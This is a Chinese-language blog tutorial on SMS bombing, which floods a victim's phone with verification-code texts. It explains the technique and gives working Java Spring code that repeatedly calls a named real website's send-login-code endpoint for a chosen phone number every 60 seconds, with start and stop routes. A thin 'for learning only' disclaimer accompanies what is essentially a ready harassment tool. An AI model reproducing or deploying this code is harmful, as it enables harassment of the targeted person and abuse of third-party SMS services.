Blog Details

短信轰炸是怎么做的?

今天看到个新闻,如下,网购给差评后遭遇短信轰炸

新闻就不谈论了啊,今天就聊聊短信轰炸。

短信轰炸顾名思义就是给你发一堆垃圾短信,让你烦恼😡

今天小卷就来弄一弄短信轰炸的原理是啥

短信轰炸原理小卷谷歌了几个在线短信轰炸的网站,找了几个后才终于找到个能用的,如图启动后,小卷的手机开始收到各种乱七八糟的短信了。看了半天,都是些验证码。。。

于是得出结论:短信轰炸其实就是请求各种网站的发送验证码接口,给你的手机不停发验证码短信

动手做一个弄懂了原理后,我们也能自己动手操作一番了。本文所有内容仅供学习使用,请私用,勿用于其他用途。

• 首先找一个网站能发验证码的接口• 开发代码,不停调用即可1.找个发短信的接口这里小卷找了个验证码短信接口(现在的网站为了防刷,通常发验证码短信前还需要再验证一次的,所以不太好找)

如图所示,网站只要输个手机号就能发送验证码短信了

2.开发工作小卷之前的文章有教大家怎么薅京豆羊毛[奶奶看了都会]京东自动签到薅羊毛-完整教程

直接复用之前的HttpUtil类,通过Get请求一遍接口即可,为了能一直轰炸,设置为每隔60s重新再请求一次。

代码语言:javascript复制

ScheduledExecutorService timer = Executors.newSingleThreadScheduledExecutor();

@GetMapping("/smsbombing/start")

public String smsbombingStart(String phoneNum) {

//发送短信验证码的接口

String api = "https://818ps.com/site-api/send-tel-login-code?num=%s&codeImg=undefined";

String apiString = String.format(api, phoneNum);

RequestSms requestSms = new RequestSms(apiString);

//开始轰炸,每隔60s发一次

timer.scheduleAtFixedRate(requestSms, 0, 60, TimeUnit.SECONDS);

return "执行完成";

}

@GetMapping("/smsbombing/stop")

public String smsbombingStop() {

timer.shutdown();

return "执行完成";

}

protected class RequestSms implements Runnable {

private String apiString;

RequestSms(){}

RequestSms(String apiString){

this.apiString = apiString;

}

@Override

public void run() {

try {

String response = OkHttpUtils.get(apiString);

log.info("短信轰炸执行,response:{}", response);

} catch (Exception e) {

e.printStackTrace();

}

}

}后面手机就会收到短信了

所有内容仅供学习用哦~